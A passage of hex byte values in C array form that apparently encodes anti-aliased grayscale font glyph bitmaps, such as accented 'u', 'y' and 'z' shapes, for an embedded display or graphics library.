0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF,
0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC1, 0xFF,
0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCF, 0xFF,
0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE1, 0xFF,
0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xFD, 0xFF,
0xFF, 0xA2, 0x0D, 0xFF, 0xFF, 0xFF, 0x8B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5A, 0xFF, 0xFF,
0xFF, 0xA2, 0x00, 0xF6, 0xFF, 0xFF, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1B, 0xE9, 0xFF, 0xFF,
0xFF, 0xA2, 0x00, 0xD1, 0xFF, 0xFF, 0xFF, 0x6D, 0x00, 0x00, 0x00, 0x1D, 0xC6, 0xFF, 0xFF, 0xFF,
0xFF, 0xA2, 0x00, 0x7A, 0xFF, 0xFF, 0xFF, 0xFF, 0xD4, 0xAB, 0xD9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xA2, 0x00, 0x08, 0xB5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD5, 0xA1, 0xFF,
0xFF, 0xA2, 0x00, 0x00, 0x06, 0xA6, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0x95, 0x15, 0x8A, 0xFF,
0xFF, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x08, 0x36, 0x68, 0x70, 0x49, 0x1A, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1A, 0x4E, 0x4E, 0x4E, 0x2E, 0x00, 0x3F,
0x4E, 0x4E, 0x4E, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA6, 0xFF,
0xFF, 0xFF, 0x62, 0x22, 0xFC, 0xFF, 0xFF, 0xD6, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x22, 0xFC, 0xFF, 0xFF, 0x9C, 0x00, 0x97, 0xFF, 0xFF, 0xF4, 0x2A, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0xFF, 0xFF, 0xCC, 0x07, 0x18, 0xF7, 0xFF, 0xFF,
0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xF7, 0xFF, 0xED, 0x1F,
0x00, 0x88, 0xFF, 0xFF, 0x94, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x65, 0xEB, 0xEA, 0x47, 0x00, 0x00, 0xD4, 0xEB, 0xBF, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xC8, 0xC8, 0xC8, 0x45, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xC8, 0xC8, 0xC8, 0x28, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60,
0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85,
0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF,
0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF,
0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF,
0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF,
0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF,
0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF,
0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x5B, 0xFF, 0xFF, 0xFF, 0x5F,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x35,
0x48, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x8A, 0xFF, 0xFF, 0xFF, 0x22, 0x35, 0xFF, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x9F, 0xFF, 0xFF, 0xFF, 0x0F, 0x21, 0xFF, 0xFF, 0xFF, 0x9C, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB9, 0xFF, 0xFF, 0xFB, 0x00, 0x08,
0xF6, 0xFF, 0xFF, 0xE6, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0xF5,
0xFF, 0xFF, 0xD9, 0x00, 0x00, 0xB2, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x6C, 0xFF, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0xF1, 0x37,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5D, 0xFD, 0xFF, 0xFF, 0xFF, 0x3D, 0x00, 0x00, 0x10,
0xE6, 0xFF, 0xFF, 0xFF, 0xF0, 0x50, 0x0E, 0x00, 0x00, 0x01, 0x27, 0x76, 0xFD, 0xFF, 0xFF, 0xFF,
0xCD, 0x03, 0x00, 0x00, 0x00, 0x47, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0xD3, 0xC2, 0xF1, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xF6, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xF6, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEB, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x2D, 0xB4, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF5, 0xA4, 0x1B, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x5D, 0x7A, 0x93, 0xA3, 0x8F, 0x77, 0x54,
0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2D, 0x65, 0x65, 0x65,
0x35, 0x00, 0x5D, 0x65, 0x65, 0x63, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC7, 0xFF, 0xFF, 0xFB,
0x3F, 0x40, 0xFF, 0xFF, 0xFF, 0xB8, 0x02, 0x00, 0x00, 0x00, 0x00, 0x40, 0xFF, 0xFF, 0xFF, 0x73,
0x00, 0xB8, 0xFF, 0xFF, 0xE2, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0xFF, 0xFF, 0xAB, 0x00,
0x31, 0xFF, 0xFF, 0xF9, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xFF, 0xFF, 0xD7, 0x0C, 0x00,
0xA9, 0xFF, 0xFF, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0xD4, 0xD0, 0x29, 0x00, 0x05,
0xCF, 0xD4, 0x98, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2A, 0x2C, 0x2C, 0x0B, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x1C, 0x2C, 0x2C, 0x17, 0x12, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xBF, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xC1, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xCF, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xE1, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x64, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x12, 0xFD, 0xFF, 0xFF, 0xA2, 0x0D, 0xFF, 0xFF, 0xFF, 0x8B, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x5A, 0xFF, 0xFF, 0xFF, 0xA2, 0x00, 0xF6, 0xFF, 0xFF, 0xBF, 0x00, 0x00, 0x00, 0x00,
0x00, 0x1B, 0xE9, 0xFF, 0xFF, 0xFF, 0xA2, 0x00, 0xD1, 0xFF, 0xFF, 0xFF, 0x6D, 0x00, 0x00, 0x00,
0x1D, 0xC6, 0xFF, 0xFF, 0xFF, 0xFF, 0xA2, 0x00, 0x7A, 0xFF, 0xFF, 0xFF, 0xFF, 0xD4, 0xAB, 0xD9,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA2, 0x00, 0x08, 0xB5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xD5, 0xA1, 0xFF, 0xFF, 0xA2, 0x00, 0x00, 0x06, 0xA6, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF,
0xFB, 0x95, 0x15, 0x8A, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x08, 0x36, 0x68, 0x70, 0x49,
0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5C, 0x8F,
0x8F, 0x70, 0x00, 0x17, 0x8F, 0x8F, 0x8F, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xAD, 0xFF, 0xFF, 0xD2, 0x00, 0x32, 0xFF, 0xFF, 0xFF, 0x4D, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAD, 0xFF, 0xFF, 0xD2,
0x00, 0x32, 0xFF, 0xFF, 0xFF, 0x4D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xAD, 0xFF, 0xFF, 0xD2, 0x00, 0x32, 0xFF, 0xFF, 0xFF, 0x4D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2D, 0x49, 0x49, 0x37, 0x00, 0x09,
0x49, 0x49, 0x49, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x4E, 0xC8, 0xC8, 0xC8, 0xBA, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x02, 0xAC, 0xC8, 0xC8, 0xC8, 0x67, 0x0D, 0xE3, 0xFF, 0xFF, 0xFF, 0x83, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x67, 0xFF, 0xFF, 0xFF, 0xF3, 0x1D, 0x00,
0x4E, 0xFF, 0xFF, 0xFF, 0xF8, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13,
0xED, 0xFF, 0xFF, 0xFF, 0x6E, 0x00, 0x00, 0x00, 0xAC, 0xFF, 0xFF, 0xFF, 0xB5, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99, 0xFF, 0xFF, 0xFF, 0xC9, 0x02, 0x00, 0x00, 0x00, 0x19,
0xF0, 0xFF, 0xFF, 0xFF, 0x4E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0xFD, 0xFF, 0xFF,
0xFB, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF, 0xDE, 0x08, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0xC9, 0xFF, 0xFF, 0xFF, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xC4,
0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0xFF, 0xFF, 0xFF, 0xDC, 0x09, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2A, 0xF9, 0xFF, 0xFF, 0xF7, 0x21, 0x00, 0x00, 0x00, 0x11,
0xEB, 0xFF, 0xFF, 0xFF, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF,
0xFF, 0xFF, 0xB2, 0x00, 0x00, 0x00, 0x96, 0xFF, 0xFF, 0xFF, 0xA2, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xD8, 0xFF, 0xFF, 0xFF, 0x4B, 0x00, 0x32, 0xFD, 0xFF, 0xFF,
0xEB, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFE, 0xFF,
0xFF, 0xDC, 0x09, 0xC6, 0xFF, 0xFF, 0xFF, 0x5E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x9C, 0xFF, 0xFF, 0xFF, 0xD7, 0xFF, 0xFF, 0xFF, 0xBB, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0xE8, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xF6, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x58, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB6, 0xFF, 0xFF, 0xFF,
0xD1, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4B, 0xFF, 0xFF, 0xFF, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0xFF, 0xFF, 0xFF, 0x69, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x49, 0xFF, 0xFF, 0xFF, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0xFF, 0xFF, 0xFF, 0x69, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49,
0xFF, 0xFF, 0xFF, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0xFF, 0xFF, 0xFF, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0xFF, 0xFF,
0xFF, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x49, 0xFF, 0xFF, 0xFF, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0xFF, 0xFF, 0xFF, 0x69,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x44, 0xFF, 0xFF, 0xFF, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x1B, 0xF1, 0xFF, 0xFF, 0xF9, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xAF, 0xFF, 0xFF, 0xFD, 0x55, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xE4, 0xFF,
0xFF, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x8F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1D, 0x2F, 0x2E, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x3B, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8,
0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0x20, 0x00, 0x52, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x2F, 0x00, 0x52, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x2F, 0x00, 0x25, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84,
0x88, 0xFF, 0xFF, 0xFF, 0xFF, 0xF5, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x8F, 0xFF, 0xFF, 0xFF, 0xFF, 0x57, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5C, 0xFF, 0xFF, 0xFF, 0xFF, 0x88, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xF6, 0xFF,
0xFF, 0xFF, 0xB6, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x14, 0xE0, 0xFF, 0xFF, 0xFF, 0xDA, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xBC, 0xFF, 0xFF, 0xFF, 0xF2, 0x2A, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xFF, 0xFE, 0x4F,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0xFF,
0xFF, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x2F, 0xF5, 0xFF, 0xFF, 0xFF, 0xAF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xDE, 0xFF, 0xFF, 0xFF, 0xD5, 0x0D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xBA, 0xFF, 0xFF, 0xFF, 0xEF,
0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x89,
0xFF, 0xFF, 0xFF, 0xFD, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x57, 0xFF, 0xFF, 0xFF, 0xFF, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2D, 0xF4, 0xFF, 0xFF, 0xFF, 0xA7, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0xDC, 0xFF, 0xFF, 0xFF,
0xCF, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
0xB8, 0xFF, 0xFF, 0xFF, 0xEB, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x87, 0xFF, 0xFF, 0xFF, 0xFB, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0xFF, 0x6E, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2A, 0xF3, 0xFF, 0xFF,
0xFF, 0xE9, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C,
0x09, 0x6A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x2F, 0x6A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x2F, 0x65, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x2A,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x61, 0x61, 0x61, 0x36, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0xE8, 0xFF, 0xFF, 0xF7, 0x3F, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9C, 0xFF, 0xFF, 0xFB, 0x4E, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFE, 0xFF, 0xFE, 0x5E, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xD8, 0xFF, 0xFF, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00,
